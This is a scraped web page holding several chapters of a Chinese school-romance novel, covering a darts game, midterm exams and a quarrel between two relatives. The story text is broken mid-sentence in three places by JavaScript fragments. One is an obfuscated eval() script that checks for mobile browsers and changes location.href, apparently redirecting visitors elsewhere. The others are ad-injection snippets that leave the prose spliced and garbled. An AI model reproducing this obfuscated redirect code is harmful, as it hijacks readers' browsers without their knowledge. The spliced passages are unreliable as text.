那句惹人多想的话翻来覆去地碾过她的意识,沸腾,灼烧。 店主把自制游戏木板立在店门口的桌上,骆眀昭捏着飞镖,长呼出几口气,即便再怎么努力稳定心神,眼前仍是一片模糊,像是被人为附上一层滤镜。 “小姑娘准备好了吗?”店主大叔笑呵呵地说,四周还围着一圈围观的群众。 骆眀昭愣了几秒,抓紧点头:“嗯,我好了,好了。” “你俩一共是有三只标,下边这几排大气球是一张券,中间这一排是三张券,如果运气好射中顶上这个小气球,就可以成功获得三十张券,懂了吗?”店主讲解着,“小姑娘准备好就开始吧。” 为了看清靶,她还刻意把眼镜从书包里拿出来,牧时桉就安静地站在场地旁,看着她。不知是因为什么紧张,但总之附近的空气都在那一瞬间凝滞,骆眀昭压着呼吸,目光直直地盯着三十张兑换券的大奖。 试试呢?万一就能成功呢? 骆眀昭呼出口气,眯起左眼,定神看着,然后奋力一丢——“嘭”。 “打中了!一张!小姑娘不错啊。”店主惊诧地说着。 专注到双腿都有些发软,她长呼出一口气,定睛看了眼自己的成果。 事实上最大奖品的气球还离三等奖有一定距离,骆眀昭中三等就说明她的实际上离大奖十万八千里呢。 不过这就已经很不错啦! 她其实以为自己会脱靶的,没想到最后还歪打正着打中了。 “你看,我打中了耶,还可以吧。”她朝着牧时桉笑着说道。 牧时桉歪过头,露出个鼓励的轻笑来。 靠,得意忘形了。 骆眀昭干咳两声,不自觉地闪过目光,拿着手里剩下的两个镖递给牧时桉:“你来吧,我已经到达我实力的顶峰了。” “好。”指尖不经意碰触一下,两人都瞬间僵了片刻,耳根染了些红。 店主大叔意外插话:“换小伙子了吗?祝你好运啊。” 牧时桉闻声,回过神来站到投掷线前,捏着镖,站定身体,眼神锁定于标靶气球上,目光中只剩坚定,周身环绕着极小的小冰碴,微微打湿他额前的碎发,可少年眸间像是有火。 在狂风里肆意无畏的火焰,愈发地旺,明亮地让人只能看到他的双眼。 骆眀昭愣在原地,心跳频率急剧飙升,甚至是即将要冲破些什么。 这眸子牵引着她,分明是在促使着她想起些被他所忽视的,遗忘的。 是什么呢? 牧时桉专注在靶子上,大概是确定了投掷路径,手腕抬起后,猛地将飞镖甩出去。 飞镖脱手的那一瞬间,骆眀昭定在原地,动都动不得。 她终于明白了,自己是从何时,被眼前的少年吸引去了目光。 那时候的运动会也是这样,运动场上热烈的,即便是被帽檐浅浅遮挡着,也无法掩盖他原本的锐利锋芒,那就是少年不容忽视的张扬与倨傲,那是在他极度渴求得到某样事物时,所散发出带有攻击性的魅力,令人挪不开眼。 就是他现在的模样,也是她无论多少年,都忘不掉的场景。 “哇!”众人惊呼道。 骆眀昭猛地仰起头,许多围观群众正凑上前来,看着牧时桉的战绩。 打中了吗? 她挤过人群去看,就瞧见擦过小气球,飞镖被直直地扎在仅离它一厘米不到的位置,就差那么一点点。 居然就只差这么一点!她震惊着。 牧时桉收回手臂,抬眼也已清楚当下的结果,垂在身侧的手握紧了些。 骆眀昭回过头,扬起声调:“不错啊,居然这么厉害!” “还好。”他淡淡地回。 但还是没有拿到一等奖。 店主大叔心早已经悬在半空·,他差点就以为这一等奖第一把就有人摘走了,结果峰回路转,牧时桉失误了一点,他紧张地不行,但还是要硬着头皮进行接下去的活动:“还有一个镖哦。” “您好?”牧时桉忽热开口问道,“这最后一个镖,我们可以等一会儿在丢吗?” “当然可以啊,”店主大叔愣了一下,欣然答应,转而 “那现在还有谁想要尝试吗?” 这小伙子能不能扔中飞镖尚未可知,但至少有不少人都等着看他丢的结果呢,还能把观众多留一会儿。 牧时桉侧过脸,对骆眀昭说:“走吧,咱们先过来一下。” 骆眀昭愣着点了下头,随后跟着他走到角落无人处。 “怎么忽然要来这里,不接着扔?”她歪歪头问,下一镖他是一定能成功的啊。 牧时桉围着四周瞧了几眼,俯下身在脚边捡起几块石头:“感觉,没什么底,不太确定这最后一次可不可以,想练习练习。” 随后,他将一块石头放在和刚刚差不多高的台阶上,手指紧捏另一块石头,丢了出去。 “哒”一声,石头被击中随即滚落在地上,翻了几圈后最终停在一个人的脚边。 两人顺势仰起头,与眼镜片上蒙了层薄雾的骆齐四目相对。 “爸?你才回来?” “骆叔叔。” 骆齐随手抹了把眼镜,能看得清楚些,诧异地说:“怎么是你们两个?还没回家啊!”尤其是看见骆眀昭,“这都几点了,你怎么还没回家?你也没跟你妈说一声啊?” “说了,在公交上说过的。”骆眀昭老实回答。 骆齐插着腰:“你俩这是在玩什么呢?玩到这么冷的天还在外面呆着,不怕感冒啊!” 牧时桉垂下眼,简单把刚刚参加的小游戏和骆齐解释了一遍。 “丢飞镖啊?我挺擅长的,要不要传授给你们一些技巧?咻咻——”骆齐边说还边闲不住地做了几个丢飞镖的手势。 “额……”骆眀昭扶额,想装不认识他,话题一转又问,“爸,你昨天是不也这个时间回来的,店里生意这么忙吗?” 离今年的寒衣节还有半个多月呢? 骆齐呆了几秒:“哦,有朋友介绍了点新生意,所以比较忙,那你们玩,爸就先上楼了?早点回家啊。” “嗯,我一会儿就回去啦。”骆眀昭还是觉得不太对劲,不过仍点点头。 牧时桉:“骆叔叔再见。” 骆齐:“好,拜拜。” 说完,他边转身往小区门走去。 骆眀昭目视着他离开,压下心底复杂的情绪,转身望向牧时桉。 “你刚刚是不是打中了?”她忽然问。 牧时桉回过神,微微点头:“嗯。” “那还练什么,直接去打呗?说不定一击即中。”见识过他的能力,骆眀昭相信他。 牧时桉却顿了顿,挪开目光,将手中几块石头握的更紧:“那万一没中呢?” 他…… 角落处晦暗,围观的人群又将店门散发出的光源几近遮挡完全,骆眀昭很难完全看透他的表情,但仍是让人隐隐感到伤感。 “你,为什么会这么想?”骆眀昭睨他一眼,不理解地问,“万分之一剩下的万分之九千九百九十九一定是属于我们的成功,所以干嘛要去赌小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729392|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概率事件啊。” 骆眀昭没去看他的表情,而是忽然从口袋摸出手机,点亮了手电筒,俯下身捡起几块脚步的石头,学着牧时桉的样子,摆上一块到高处的台阶。 她朝着牧时桉扬扬手中的石头:“你要不教教我怎么丢吧?” “嗯?”他怔住,嘴唇微张着。 “我看你刚刚很轻松一下就丢到靶子附近了,我还差着老远呢。”骆眀昭兀自念叨着,手也在比划着,这方面她很像老骆,深得他的真传。 他来教…… “好。”他目光落在骆眀昭脸上,轻叹了口气,走到她旁边示范,“石头不用,但飞镖要找准中间平衡点,重心放在前脚掌上,不要直直地丢出去,丢出个抛物线来,用前臂发力,像是这样——” 石头再次准准地打在另一块石头上。 “原来这样就行啊,看着也挺简单的。”骆眀昭已经有点跃跃欲试了,“看我的!” 她脑子里想着他的话,一步步行动,先找平衡、重心,然后是什么来着? 不管了先丢。 一个使力,完美错过。 啧,她咋就不行呢? “你用力太大了,用前臂和手腕就好。”牧时桉分析着她的问题。 骆眀昭抿着下唇,不信邪地又试了好几次,嘴里还念叨着:“用前臂,然后……” 踌躇一会儿,又一次丢出去,“哒一声”成功击中。 “成功了!”她扬起声线,高兴快跳起来。 女生目光明亮似星,面朝着路灯,像是地上的星辰,牧时桉喉间紧了紧,难以移开落在她脸颊的目光。 牧时桉掀起眼皮,迎合着她:“嗯,成功了!” “最后一镖,让我来行吗?我想试试。”她转过头,又补了一句,“师傅?” “你想来吗?”他问。 骆眀昭确定地点点头。 “那好。” 人群中传来一声可惜的声音,又有人挑战失败。 骆眀昭跟在牧时桉身后,穿过人群,对着老板扬声道:“您好,我们要挑战最后一镖!” 店主转过头:“小伙子,你过来了。” “叔叔,不是他,是我要挑战。”骆眀昭仰头说,又举起手。 店主大叔眼睛一亮:“哦,是你啊,小姑娘。” 他肉眼可见地表情更明媚的些。 骆眀昭装作没有注意到,伸手拿起桌上的飞镖,慢慢站在投镖线前,深呼一口气,在所有人期待地目光中,握镖的手极其稳定。 会成功的吧?但其实只要距离靠近就是胜利啊。 她侧目,余光不经意地撇向牧时桉。 冲呀! 被丢出去的飞镖划破了风,画出一道弧线来。 “嘭”!气球爆炸了。 骆眀昭在丢出去的一刻闭住眼睛,直至听见众人的欢呼声,她才终于敢睁开眼睛,丢出去的飞镖,稳稳地扎在顶上的气球。 “小姑娘,可以啊,给你的三十一张兑换券,欢迎来支持我们生意啊。”店主惊了一秒,但还是很有诚信地数出奖券递给她。 “谢谢老板!”骆眀昭激动地奔跑到男生的面前,她想第一个跟他分享自己的喜悦,“你看,牧时桉,我成功了!” 她举起手掌,面冲着牧时桉,少年也举起手掌,手心相合发出悦耳的掌声。 “是因为有你这样优秀的师傅,才会有我这样成功的徒弟。”她唇角扬得很高。 这也是她想跟他说的。 他们总会成功的,在她心里,热烈的少年人永远不会是那个失败的小概率事件。 34. 石锅拌饭 进入十一月,绮城温度降得明显,尤其三号期中考那天,猛然间寒潮袭来,即便是爱美装酷的同学们也不由得穿上了他们厚重的冬季校服。 “天这么冷,你确定不需要我送你上学?”骆齐刷手机看天气软件,在餐桌上问了一句。 骆眀昭把一颗水煮蛋扒皮吃个精光,抽纸擦着手,悠悠回道:“不用,我还行。” 王乐萍伸个懒腰刚从卧室走出来,看了眼自家闺女:“说起来今天是不是考试啊?” 原本她还想多掰半个包子吃的,此话一出一下没了兴致,讪讪缩回了爪子。 脑袋里满是蔡杨给她定的物理指标。 “我努力,我拼搏,争取这次考试圆满成功!”骆眀昭忽然扬起拳头,开始给自己打气。 给正往餐桌走的王乐萍吓一大跳:“妈呀,你一惊一乍的干嘛呢,谁给你打鸡血了。” “是我爸。”骆眀昭胡说八道着。 骆齐眉毛扬得老高:“嘿,小兔崽子,关我啥事。” 吵吵闹闹的清晨结束,骆眀昭背着书包走出家门,耳机里放着轻快的音乐,也算是另一种提神工具吧。 公交车上半数都是穿着八中冬季校服的学生们,骆眀昭也不例外,她扒着杆,随着汽车的摇晃而摆动着身体,她莫名想到房檐下被风吹得晃动的风干腊肉。 不过某种程度上,她也快成为被蔡杨料理的一只小菜鸡了。 一想到七十五分的成绩,感觉整个人的好心情就此消散。 临近八中附近,虽说街道宽敞,但这个时间上学或是送孩子上学的家长都多,经过十字路口时,司机无奈踩出了个急刹,整车乘客因为惯性往前倒着。 骆眀昭死死把住车杆,但还是没忍住趔趄两步,而最后一步,不偏不倚地踩在了某人的脚上,感觉到踩到什么软的东西,骆眀昭猛地回头,车子启动,她又控制不住自己向后面撞去。 强悍如骆眀昭即便要栽到面前那人身上去,也把着杆硬生生转了方向,一只胳膊护住脑袋,最终落点在车门处的车玻璃,“邦”一声她就撞了上去。 靠!好疼! 不过没人看见吧? 她四下环视一圈,车厢里的乘客好像都自顾不暇,没有注意到她,这才安心。 还有二百米不到就要下车,骆眀昭扬起头来,忽地对上身旁男生的视线,一下想到几秒钟前的意外,骆眀昭不好意思地点点头:“刚才抱歉啊。” “没事。”男生帽檐压低,仅仅露出清瘦的轮廓,嗓音稍稍有些低沉。 见男生没计较,骆眀昭扭过脸看向窗外,抓着车杆安静地等待下车。 公交车稳稳地停在站台,骆明昭第一个跳了下来,人行道上满是并肩而行的八中学生,她插着外套口袋慢悠悠往学校大门走,离老远就瞧见梁若璇从一辆轿车上下车。 八中惯例,期中期末成绩会记为下学期分班的重要依据,就是因为今年没进一班的原因,这场考试梁家父母挺重视的。 眼见前面路旁女生关上车门,骆明昭拽下口罩,朝着好姐妹的方向激动地挥着手。 余光里,背着包穿着黑色冲锋衣的男生,压低帽檐大步走进学校。 这个不是刚刚她踩到的那个男生吗?原来也是八中的啊。 “小璇!”她回过神唤道。 眼前梁若璇头发梳得利落,露出干净饱满的额头,骆明昭看得诧异。 脱离管束,梁若璇悄悄转过头看向驶向远方的黑色汽车,当下整个人放松下来,下一秒抬起胳膊,把花色的大肠发圈拽掉,顿时长发散落在肩上。 “我还想问来着,你今天怎么是这发型,还以为你换风格了。”骆明昭走过去,挽过她的手臂。 学校对发型管得不严,通常梁若璇只有周一升旗时才会规矩地梳马尾,平时都是半扎发的。 梁若璇长叹口气:“还不是我爸,非说披发显得不正经,那都是什么封建思想,所以这两天送我上学我都是到校门口才把头发放下来的。” 不过骆明昭觉得,就梁若璇这种大美女,无论梳什么发型都是人群中最好看的那个。 “怎么样?复习得好吗?”骆明昭问,两人挽着手进校门。 梁若璇没精打采着:“还好吧,这两天晚上补课,感觉学了挺多的。” 八中后半段晚自习,有家长签字和班主任的假条是可以不上的,运动会后梁若璇就开始了自己的补课生涯。 同病相怜的两姐妹头上都悬着一把名叫期中分数的刀,摇摇欲坠。 - 上午两门考试结束,姐妹三人教学楼门口集合,相聚于侧门栅栏处,自从出了上次的意外,从那之后她们就再没点过外卖。 今天不一样,尤其是嗜奶茶如命的梁若璇,急需什么来补充能量。 午间暖阳,三个女生捧着奶茶杯喝得幸福。 慢悠悠走进二食堂,角落餐桌上牧时桉和薛游已经占好位置。 牧时桉闻声仰头放,放下手机若有所思地看向梁若璇。 谁知道梁若璇先一步伸出手制止他:“如果是想问有关考试的事,免开尊口。” 牧时桉摊开手,轻耸了下肩,意思是那他就没得可说了。 “美好的午餐时间,就不要破坏我们愉快的进食环境了好吗?”梁若璇扬扬唇,似笑非笑。 “你打算吃什么?”林雨彤怼怼身边骆明昭的手臂。 骆明昭四下张望一圈:“石锅拌饭吧,我要饿死了,这个快。” “那我也吃这个,”林雨彤回过头,“璇子,拌饭吃吗?” 梁若璇把奶茶杯放在桌上,回道:“吃,走吧。” 很快,她们就一人端个餐盘回来,骆明昭将餐盘放在桌上,坐在牧时桉身侧。 那个晚上之后,他俩就再没提起过那几天两人之间的小小不愉快,包括骆明昭的刻意疏远,牧时桉的捉弄等等。 回归为最平凡的好友相处模式。 骆明昭觉得这样很好,原本杂乱无章的思绪也被抚平了些。 跟在后面的林雨彤和梁若璇也在两人面前落座。 全食堂大概只有拌饭窗口有专用的铁勺,这种长柄圆勺是最好工具,能使得上力气,把酱料拌得均匀,完美地包裹着每粒米饭。 骆明昭一下下搅动着,还顺手把那两碗一块拌好,等吃的时候,舀了一大勺送入口中,果然是那种甜辣又令人满足的味道。 “明天上午去逛街吗?我明晚才补课,想买双厚一点的鞋,然后中午可以在外面吃饭。”梁若璇边吃着说。 骆明昭点点头:“我可以啊,应该没什么别的事。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “专业课调在周日了,我也有空。”林雨彤也答。 三姐妹刚一拍即合,牧时桉挑了挑眉,给梁若璇泼了盆凉水,语气带着点倦意:“你忘了,明天跟三姑吃饭吗?” 梁若璇愣了几秒,也忽然想起来:“那就说我明天生理期身体不舒服,不去了,主要是那三堂姐明年都四十岁了,我跟她也不熟啊。” 提到这个她就一肚子委屈,梁父姑姑那边的亲戚她本就不太熟悉,况且她不太适应他们之间的相处方式,总觉得不太舒服,但梁父却总因此指责她跟亲戚太过生疏,每每有这种局总要拉上她。 牧时桉睨了她一会儿,随口道:“只要你在爷爷那能圆过去就行。” 梁若璇蹙着眉,难看的表情挂在脸上,她知道根本就圆不过去的。 她很讨厌这种感觉,原本满满兴致却被一盆冷水浇了个透心凉。 可她几乎从小都在遇上这样的事,几乎是桩桩件件。 “明天我也会去。”牧时桉撑着脑袋说。 梁若璇一个人应付不了那样的场合他知道的。 他在起码是个伴。 “你在又怎么样……”梁若璇苦笑一声,埋头不顾形象地扒了几口饭。 更逃不开亲戚们无聊地调侃,什么家里有了牧时桉这个能扛事的男孩子,或是借由她的惹眼的皮相去说她今后起码能嫁个有钱人之类的,还会把他们这对同龄的姑侄拿来比较。 好像她梁若璇生来就是要被人指点,成为旁人茶余饭后的谈资。 “不吃了,我回考场补觉去了。”梁若璇闷闷地撑起桌面起身,正欲离开。 骆明昭和林雨彤在一旁看着,本来是找不到什么好机会宽慰她,见此也正好准备上起。 牧时桉垂下眼,看了看她碗中几乎没怎么动过的拌饭,淡淡地说:“不多吃饭你下午容易低血糖,考试万一——” “行了!”梁若璇积压许久的怨气爆发,“考试考试考试,三句话不离考试,你还真是你爷爷亲孙子,能不能少管我。” 牧时桉大概也是被她的话激到,语气冷得要命:“梁若璇,你以为我愿意管你?” “小璇,你俩别……”骆明昭一旁看着,试图劝架,却又被硬生打断。 “牧时桉,收收你的爹味吧!搞得好像我求着你一样。”梁若璇眸子里含着泪光,嗓子像是堵着什么东西,涩得她心慌。 大概是怕眼睛里的泪珠在他们面前滚落,梁若璇连没喝几口的奶茶都顾不得拿,双眼通红地跑出食堂。 周围空气几乎凝固,三个旁观者大气都不敢出一下。 少年眉眼间阴沉,抿起唇来,压制了好一会儿情绪,最后爆了脏话:“操——” 说完,牧时桉就黑着脸,转身也离开了食堂。 剩下三人面面相觑,大眼瞪小眼。 “他们应该以前也吵架吧?”骆明昭试探地问薛游。 毕竟同龄孩子嘛,拌嘴磕碰也正常,寒假那会儿她还差点跟表弟打起来呢。 薛游还没缓过来,犹豫地开口:“他们也老吵。” 林雨彤长呼出口气:“那就好,应该好劝,说不定晚上就……” “但这是最最最最严重的一次。”薛游打断她的话,慢慢转过头,表情严肃。 全体一级警报! 35. 米皮 周五晚上的辅导班,坐在小教室里的七八个同学都在努力压制自己的躁动。 小腹痛得要命。 梁若璇面色惨白,努力在收纳包里翻找自己的布洛芬,她身体寒气重,每每到经期就不好过,可惜最后只找到一板看不见胶囊的包装。 她都忘了,上次吃完了她还没来得及补充新的。 祸从口出,有些时候真的要尊敬老前辈们留下的经验,一语成谶,中午刚说想用生理期糊弄过去明天的饭局,晚上就真的来了月经。 梁若璇在最后一排,蜷缩着侧靠在墙,一只手撑着脑袋,空闲的手掌覆住小腹上正在发热的暖贴,她如今感觉前面在冒着热气,后腰又在钻风,冰火两重天。 据说绮城下周才会来暖气,所以现在补课班里尽管开着空调,温度也高不到哪里去,还又干又燥,梁若璇不禁缩缩脖子,努力压制住自己因为疼痛而带来的喘息声。 如果没有跟大侄子吵架该多好,这样他还可以骑电动车载自己回家,她忽然很没出息地想着。 周边知道她和牧时桉关系的人,时常会用这层亲缘羁绊来打趣两人,曾经小时候梁若璇也会以更高的辈分而沾沾自喜,而这些年再长大一些,她其实是隐隐感觉到愧疚的。 因为明明她是长辈,可牧时桉却一直站在她的身前,保护着她。 像是哥哥、或是超人,也是她的保护伞,从有记忆起,他们就一直在一起。 幼儿园被其他小朋友夺走心爱的芭比娃娃,他会帮自己抢回来;小学被男生纠缠,是他站在自己身前,把坏男生打跑;中学时,班上有女生传她很难听很难听的坏话,他赶到自己班里帮她撑腰…… 那些画面不断在脑中浮现。 也许是她无形之中太过于依赖他了,理所当然地享受着他对自己的好,所以才会对自己最亲的人释放出她的坏情绪。 那时候从食堂跑出去,她独自躲在学校里的长廊下流着眼泪,不是委屈,是她恍然意识到自己做了多么过分的事,而悔恨的泪珠。 阵痛再度上涌,梁若璇眉心都紧拧在一起,她将整张脸埋在手臂中,伏在桌上,透不进光的地方,她努力压制着喉间的酸涩。 “你怎么不写?”桌面忽然被敲了敲,传来震动,激得梁若璇瞬间抬起了头,还未能收起眼角的泪珠。 辅导老师看到她的异状,愣了几秒:“怎么了?出什么事了?” “老师,我生理期不舒服,我今天能不能先回去?”梁若璇垂下眼,压低声音。 辅导老师也是女性,看到她脑门渗出的冷汗,明白她不是作假,关切地说:“好,那到家记得让你家长发个短信给我。” 梁若璇挣扎着点点头,迅速收拾好手边的练习册,背着书包踉跄着推门离开,身后满是同学们不解与艳羡的神色。 推开补课机构玻璃门走到室外,外面的温度已经降到很低了,寒风里,梁若璇裹紧校服外套,努力压制住心间的委屈,用手机叫了辆出租车,在无人的街角路灯处缓缓蹲下。 唔,怎么还有三公里远呢…… - 和小姐妹的行程取消,骆眀昭原本以为自己会睡到自然醒的,谁想到天色还没大亮,她就慢悠悠睁开了眼,呆望着头顶的天花板。 在床上滚过来,滚过去,调整了不知道多少个姿势都睡不着。 她从枕头底下摸出手机,无聊得翘着二郎腿划过屏幕,微信置顶的五人群消息,最后一条消息还停留在前天晚上。 再往下是她跟林雨彤的聊天框,她们在商量着该怎么样把这姑侄两人劝好,当然最后无疾而终,这两人的矛盾压根不是套公式就能解决的。 她捧着手机轻叹了口气,然后翻了个身,正要退出微信。 手机忽地震了一下,一个新的红点出现,刚刚来自梁若璇。 梁若璇:【抱歉啊昭昭,昨天来姨妈了,疼得我吃完止疼药就早早睡觉啦,刚刚才看到你的消息。】 昨晚睡觉前,骆眀昭试探性地给梁若璇发了几条消息,但都没有得到回复。 骆眀昭:【哦哦,没事,你现在还难受吗?】 梁若璇:【好多了,止疼药的作用还没散,这会儿没多大感觉。】 骆眀昭望着屏幕,手指悬在半空,不知道该继续说些什么,脑中想到一堆展开对话的方式,都被自己一一pass。 骆眀昭:【那你先好好休息啊。】 对话就终止于此。 “啊!到底咋办啊!”她把自己头发揉得杂乱,咆哮着在小床上滚了一圈又一圈。 也许是滚得太累,又或者是思考使得她死掉太多脑细胞,莫名其妙地她就睡着了,再醒过来,骆眀昭还迷糊着。 这天也没怎么亮啊,她只睡了十多分钟吗? 没想到一看手机,将近下午两点,惊得她差点从床上跳起来。 骆眀昭飞速下床,踩着拖鞋就小跑到窗边,一把将窗帘扯开,外面的世界湿漉漉的,天空又是一片的灰扑扑。 果然这种天气就是最好睡的,有种日夜颠倒的感觉。 她套了件黑色卫衣从卧室走出来,家里又是安安静静的,骆齐大概是去看店,王乐萍今天医院值班也不在家。 骆眀昭一屁股又瘫倒在沙发上,开始神游。 …… 原本想找家便利店就近买把伞,结果出租车开到小吃街附近,雨势又逐渐变小,到家属院门口,牧时桉推门下车,直接将卫衣帽子扣在脑袋上。 雨还未完全结束,他提着塑料袋,手掌还会感受到一些细细的雨滴,透着凉意。 午后时段,刚结束饭点不久,小路上几乎没什么人,还能听到滴答雨声,带着抚平人心烦躁的功能,牧时桉眼睫垂下,轻吐出口气。 真的,好吵,他们吵闹的仿佛要将屋顶都掀翻了一般。 他至今还感觉到脑袋在隐隐作痛。 饭桌上的那些就像是假人,说的笑的、脸上的表情,全都是假的,所以他是在干什么?陪着那群所谓的大人作秀吗? 小区门口凹凸不平的路,一脚踩上去会沾上泥泞,牧时桉也没管,就这么径直朝着走了上去,在他还要不管不顾地朝前走时,忽然听到一声清亮的女声。 “牧时桉!站住!” 他定住脚,缓慢地扬起头,面前的少女撑着把透明的长柄伞,带着副平时不常戴的圆框眼镜,仿佛是这个灰蒙蒙世界全部的色彩,明媚耀眼,歪着脑袋看着他。 “别往前走啊,前面有一个大水坑,”她扬声道,说完又撑着伞,转身往不知道什么地方跑去,“你等我一下啊!” 很快,他的眼中再度出现少女的身影,骆眀昭左手撑着伞,右手勉强单手抓住一块暗橙色的板砖,快步朝着他走来,她在水坑前停下脚步,小心翼翼将砖块丢在水坑中心点,又迅速往后撤半步,躲开溅起的水花。 “这有个坑,一到下雨就积水,看着不深,一脚下去你的裤子就完了。”她撑着伞念叨着,又垫着脚踩过砖块跳过水坑,站定在牧时桉的面前。 透明伞面模糊了少年的脸,但刻在她脑海里的五官还是清晰可见的,她愣住了几秒,迅速又往旁边错开半步。 “你要出去?”牧时桉开口,说出见面后的第一句话。 骆眀昭回过神来,点了下头:“哦,睡过头了,刚起床,出来找点吃的,你怎么也没打伞啊?要不我先送你回去吧?” “饭店附近没有便利店,我直接打车回来的,”他又答非所问,“你准备吃什么?” “吃肉夹馍呗,到现在我才消耗出三张哎。”骆眀昭不知道从哪掏出两张兑换券,在牧时桉眼前晃晃。 原本当初赢了比赛,她是准备跟牧时桉对半分的,没想到他却一张都没要,没办法她就只能都带回来。 除了有天带着骆齐和王乐萍来吃了一顿,之后就再也没吃过。 “既然如此,分我一张?”牧时桉说,攥着塑料袋的手指也更紧了些。 他忽然不想自己呆着。 骆眀昭眼泪眨了眨,愣神几秒:“你不是刚从饭店吃完午饭回来吗?” “那家不好吃,我没吃多少。”他堂而皇之地胡说,脸上看不出反应。 骆眀昭一瞬间想到的是——还有你觉得不好吃的东西 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ? 但她自然不会觉得牧时桉是在忽悠自己。 “那行,走吧,”她抬脚就准备走,“不过哪家店啊,这么难吃让我避避雷。” 牧时桉跟在她身后,淡淡地说:“忘了,下次告诉你。” - 这个时间,店里根本就没人,骆眀昭收起雨伞,朝着点餐台走去,手里还捏着两张兑换券。 “您好,我们点餐。”她唤道。 店主大叔从后厨掀起门帘出来,见是他俩熟络道:“是你们啊?今天想吃什么?” “要两个肉夹馍,然后我要一份米皮,微辣就好,”骆眀昭扭头看向牧时桉,“你要什么?” “跟你一样。” “那老板,两份米皮微辣。” 点完餐,拿着小票,两人就找到最角落的位置坐了下来,骆眀昭把雨伞放在脚边,摘下眼镜随手抽出张纸擦了擦。 “我上次尝了,味道不错,我爸吃说还挺正宗的。”骆眀昭说着。 牧时桉将手边塑料袋搁置在一旁,回道:“是吗?” “说起来,你这黑色塑料袋里是什么啊?见你一直拿着。”骆眀昭再次把眼镜戴上,好奇地问。 “家里亲戚给的,我也不太清楚。”他说。 对了,说起来,今天他们确实是有场家庭聚会的,似乎昨天他跟梁若璇的矛盾也源自这。 骆眀昭垂在桌上的手攥了攥,感觉自己大概是说错话了,不由得清清嗓子。 “又不是什么违禁词,梁若璇这几个字又什么不好说的。”牧时桉拖着下巴,目光略过她四散飘忽的眼神。 骆眀昭挤了个笑出来,心里嘀咕着,合着昨天吵架的又不是你俩了。 “那你俩昨天吵成那样,你晚上回家路上还一言不发,我可不是得小心翼翼一点。”顿了一会儿,她忍不住吐槽道,“今天你自己去吃的饭?” 牧时桉在她对面,轻点了下头:“梁若璇身体不舒服没去。” 她那一到生理期就半条命飘走的模样,确实也不太适合去参加。 骆眀昭对第一次见梁若璇生理期的事印象太深,苍白着脸,浑身上下跟冰块似的冰凉,属实把她吓了一跳。 “你们家里就没带小璇去看看中医,调理一下?”骆眀昭谈起这事,问道。 牧时桉冷着脸:“怎么没去?天天都让她吃着中药,梁若璇自己管不住嘴,穿得又少,还爱喝凉的奶茶,能好才怪。” 骆眀昭看着他的表情,笑得狡黠。 “哦——牧时桉同学,很man唉。”她调侃着。 牧时桉怔住,呆滞几秒,有些不自然地偏过头。 调侃归调侃,骆眀昭还是很羡慕他们之间的情谊,虽说是姑侄,但他们之间甚至比很多双胞胎兄妹关系还好。 就像牧时桉现在虽然嘴上傲娇,但每次梁若璇喝冰奶茶或者做什么对身体不好的事,他都在旁边管着。 骆眀昭回忆着:“说起来,我其实真的觉得,你更像小璇的哥哥唉,像是哥哥管束妹妹那样子——” 闻言,牧时桉垂下眼,想了一会儿,低声说着:“看到她那个样子,怎么可能装作没看到,放手不管。” 他还能记得,他们还是小孩子的时候,过年被围在大人堆里像是误入巨人国了一样。 那些大人可能只当他们这些小人儿是玩具吧? 十几岁、二十多岁甚至更往上年纪的人,将梁若璇团团围住,她就像是个芭比娃娃,而他们则像是可怖的怪兽,调笑着喊她姑姑、姨姨。 他们还将他拽过去,对他说:“喂,你要喊小姑哦!” 然后笑。 小牧时桉呆呆地仰头望着他们,不知道这究竟有什么好笑的,难道这群大人们没看到她似乎要哭了吗? 小梁若璇被打扮得像是个漂亮的洋娃娃,她胖乎乎的小手紧紧攥着裙摆,像是紫葡萄的大眼睛,整个眼眶都是红的。 牧时桉不知道自己当时在想什么,但可能就是某种念头牵引着他,让他主动走到小梁若璇身边,轻轻牵起了她的手,凑到她身旁很小声地说。 “你别怕。” 36. 西北风 骆眀昭原本天真地以为,这段不和谐的插曲会很快结束的。 就像是薛游说的那样,即便没人主动道歉,也会在某一天悄然化解,两人重归于好,因为他们曾经的矛盾就是这样解决的。 可盼啊盼啊,快一周了她都能没盼来这个场景,这两位别扭的大哥大姐在学校里还是装不认识,干饭小分队被迫分成了两波,而且跟约定好的一样,牧时桉在一食堂,梁若璇就在二食堂。 校园里的长椅上,骆眀昭和林雨彤两个脑袋靠着一起,巴巴地看向紧闭的校门口,冷风里,骆眀昭袖口塞了个暖宝宝,双手捂住,温暖得她直打哈欠, “你说他们两人是不是小学生,简直就是小学鸡闹别扭的架势嘛。”林雨彤偏着头,懒洋洋地吐槽着。 骆眀昭眨了眨眼:“你说小璇和牧时桉啊?” “不是他俩还是谁,你说又不是什么不可调节的分歧,不过是互呛了两句,互相服个软就这么过去了,还折腾到现在。”她说。 骆眀昭稀奇地看着她:“看不出你还是和平大使呢?” “最近上分车队没有牧时桉,我都找不到好的打野了……” “合着你就为上分啊你!” 两个小姐妹正斗着嘴,从校门处传来嘈杂声,两人顿时看向校门的方向,只见保安操控着遥控器,校门缓缓拉开,家长们于是一股脑地涌了进来。 这次的期中考是全市名校联考,一中、八中、实验、附中联考,学校格外重视,直到周四才彻底公布全部成绩。 虽说一班教学进度几乎比平行班快出一大截,但蔡杨物理授课进度比教研组划定的慢了不少,所以这周几乎都在赶课,没有怎么讲考卷,骆眀昭只能去拿韩进奇的物理卷先对对答案,让心里有些底,毕竟他是全年级第一。 心惊胆战地等待着物理成绩公布,简直是骆眀昭最为煎熬的一周,最终拿到成绩的那一刻,还是给了她致命一击——七十二分。 就差三分,哈哈,她死了。 如今她已经划过痛苦、癫狂、质疑、悲愤等阶段,转而心如止水,平静祥和。 